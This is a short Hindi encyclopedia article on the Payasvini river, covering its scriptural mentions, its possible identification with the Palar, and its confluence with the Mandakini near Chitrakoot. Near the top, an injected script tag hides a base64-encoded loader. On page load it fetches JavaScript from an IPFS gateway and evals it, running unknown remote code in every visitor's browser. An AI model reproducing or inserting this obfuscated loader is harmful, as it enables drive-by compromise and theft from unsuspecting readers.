पयस्विनी नदी
भारत डिस्कवरी प्रस्तुति
The printable version is no longer supported and may have rendering errors. Please update your browser bookmarks and please use the default browser print function instead.
इस लेख का पुनरीक्षण एवं सम्पादन होना आवश्यक है। आप इसमें सहायता कर सकते हैं। "सुझाव" |
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
- दक्षिण भारत की नदियों में पयस्विनी नदी का नामोल्लेख है।
'ताम्रपर्णी नदी यत्र कृतमाला पयस्विनी
कावेरी च महापुण्या प्रतीची च महानदी'।[1]
- पयस्विनी नदी संभवत: दक्षिण भारत की पलार नदी है।
- पयस्विनी नदी का श्रीमद्भागवत[2] में भी उल्लेख मिलता है।
- चित्रकूट ज़िला बांदा, उत्तर प्रदेश के निकट बहने वाली नदी वर्तमान पिशुनी। चित्रकूट के निकट ही पयस्विनी और मंदाकिनी का संगम राघव- प्रयाग है।
- तुलसीदास जी ने रामचरितमानस अयोध्याकांड चित्रकूट के वर्णन में लिखा है--
'लषण दीख पय उतर करारा
चहुं-दिशि फिरयों धनुष जिमि नारा'।
इसकी टीका में 'पय' का अर्थ करते हुए कुछ टीकाकारों ने पयस्विनी नदी का निर्देश किया है।
- वाल्मीकि ने चित्रकूट के वर्णन में मुख्य नदी मंदाकिनी का ही वर्णन किया है। वास्तव में पयस्विनी मंदाकिनी की उपशाखा है।
|
|
|
|
|
टीका टिप्पणी और संदर्भ
- ↑ श्रीमद्भागवत , 11,5,39-40
- ↑ श्रीमद्भागवत, 5,19,18
बाहरी कड़ियाँ
संबंधित लेख